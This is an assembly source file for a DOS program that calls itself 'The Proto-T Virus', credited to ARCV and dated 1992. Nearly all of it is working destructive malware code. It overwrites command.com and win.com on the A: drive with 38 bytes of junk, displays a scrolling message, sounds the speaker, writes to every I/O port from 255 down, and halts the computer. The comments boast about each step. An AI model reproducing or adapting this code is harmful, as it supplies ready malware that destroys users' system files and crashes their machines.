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Wrap

Assembly Source File | 1992-11-20 | 8.7 KB | 243 lines

.model tiny .code org 100h ;Where we start over: jmp infect ;Go straight to the ;drop routine and do it activate proc far start: mov ah,0h ;Set the Video Mode mov al,12h ;640x480 16 colors int 10h ;do it! jmp loc_1 data_1 db 4 data_2 dw 0 db 62h, 79h copyright db ' -=≡IO≡=- ' db '(C) -= ARCV =- ' data_5 db ' Join.... Virus ...Anon.' db ' .*.*.*. ' db 'The Proto · T Virus' db ' ' db ' $' loc_1: push si ;<G> Even from the command line push di ;we're funny! mov si,80h ;stick it in, just in case cld ; Clear direction call sub_1 cmp byte ptr [si],0Dh je loc_4 ; Jump if equal mov cx,28h lea di,data_5 ; ('Attention: Please press ') Load ef locloop_2: lodsb ; String [si] to al cmp al,0Dh je loc_3 ; Jump if equal stosb ; Store al to es:[di] loop locloop_2 ; Loop if cx > 0 loc_3: inc cx mov al,2Eh ; '.' rep stosb ; Rep when cx >0 Store al to es:[di] loc_4: pop di pop si mov dx,si mov cx,di mov data_2,cx loc_5: mov data_1,0FFh loc_6: add data_1,1 mov bl,data_1 mov cx,80 call sub_2 locloop_7: mov al,byte ptr copyright+20h[bx] ; ('.') mov ah,0eh int 10h ; Video display ah=functn 0Eh ; write char al, teletype mode inc bx call sub_3 mov dl,0FFh mov ah,6 int 21h ; DOS Services ah=function 06h ; special char i/o, dl=subfunc jnz loc_10 ; Jump if not zero loop locloop_7 ; Loop if cx > 0 cmp byte ptr copyright+20h[bx],24h ; ('.') '$' je loc_5 ; Jump if equal jmp short loc_6 activate endp sub_1 proc near loc_8: inc si cmp byte ptr [si],20h ; ' ' je loc_8 ; Jump if equal retn sub_1 endp sub_2 proc near NOP NOP push ax push bx push cx push dx NOP NOP mov dx,si mov cx,di inc bh mov ah,0Bh int 10h ; Video display ah=functn 0Bh mov ah,10h mov al,0 mov bl,1 mov bh,10 int 10h ; Video display ah=functn 0Eh NOP NOP pop dx pop cx pop bx pop ax NOP NOP retn sub_2 endp sub_3 proc near push cx mov cx,100h locloop_9: loop locloop_9 ; Loop if cx > 0 pop cx retn sub_3 endp loc_10: call sub_2 mov cx,4Fh locloop_11: mov al,20h ; ' ' mov ah,0Eh int 10h ; Video display ah=functn 0Eh ; write char al, teletype mode loop locloop_11 ; Loop if cx > 0 mov ah,13 mov cx,data_2 int 10h ; Video display ah=functn 01h call bang_bang ; Let's make some noise now! int 20h infect: NOP NOP mov dx,offset file1_name ; ready the file to do #1 xor cx,cx ; zero registers mov ax,3c02h ; create file w/ read-write int 21h ; do it! xchg ax,bx mov ah,40h ; 40 hex write to file mov cx,38 ; we're 38 bytes long mov dx,offset data1_file ; and these are the 38 bytes int 21h ; do it mov ah,3eh ; close the file int 21h ; do it mov dx,offset file2_name ; ready the file to do #2 xor cx,cx ; zero registers mov ax,3c02h ; create file w/ read-write int 21h ; do it! xchg ax,bx mov ah,40h ; 40 hex write to file mov cx,38 ; we're 38 bytes long mov dx,offset data2_file ; and these are the 38 bytes int 21h ; do it mov ah,3eh ; close the file int 21h ; do it mov dx,offset file3_name ; ready the file to do #2 xor cx,cx ; zero registers mov ax,3c02h ; create file w/ read-write int 21h ; do it! xchg ax,bx mov ah,40h ; 40 hex write to file mov cx,38 ; we're 38 bytes long mov dx,offset data3_file ; and these are the 38 bytes int 21h ; do it mov ah,3eh ; close the file int 21h ; do it jmp activate ; now let's run the pretty stuff data1_file db '░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&·⌠',0 ; Better look file1_name db 'A:\command.com',0 ; at this under data2_file db '░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&·⌠',0 ; the DeBugger file2_name db 'A:\dos\command.com',0 ; to see what it data3_file db '░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&·⌠',0 ; does!!! file3_name db 'A:\windows\win.com',0 ;************************************************************************* ; ; The following segment comes from a VCL routine. Credit Due and Given! ; ;************************************************************************* bang_bang proc near mov cx,0025h ; First argument is 5 new_shot: push cx ; Save the current count mov dx,0140h ; DX holds pitch mov bx,0100h ; BX holds shot duration in al,061h ; Read the speaker port and al,11111100b ; Turn off the speaker bit fire_shot: xor al,2 ; Toggle the speaker bit out 061h,al ; Write AL to speaker port add dx,09248h ; mov cl,3 ; ror dx,cl ; Figure out the delay time mov cx,dx ; and cx,01FFh ; or cx,10 ; shoot_pause: loop shoot_pause ; Delay a bit dec bx ; Are we done with the shot? jnz fire_shot ; If not, pulse the speaker and al,11111100b ; Turn off the speaker bit out 061h,al ; Write AL to speaker port mov bx,0002h ; BX holds delay time (ticks) xor ah,ah ; Get time function int 1Ah ; BIOS timer interrupt add bx,dx ; Add current time to delay shoot_delay: int 1Ah ; Get the time again cmp dx,bx ; Are we done yet? jne shoot_delay ; If not, keep checking pop cx ; Restore the count loop new_shot ; Do another shot xor ah,ah ; BIOS get time function int 1Ah xchg dx,ax ; AX holds low word of timer mov dx,0FFh ; Start with port 255 out_loop: out dx,al ; OUT a value to the port dec dx ; Do the next port jne out_loop ; Repeat until DX = 0 cli ; Clear the interrupt flag hlt ; HaLT the computer jmp short $ ; Just to make sure endp bang_bang end over ; <SIGH> We're Done!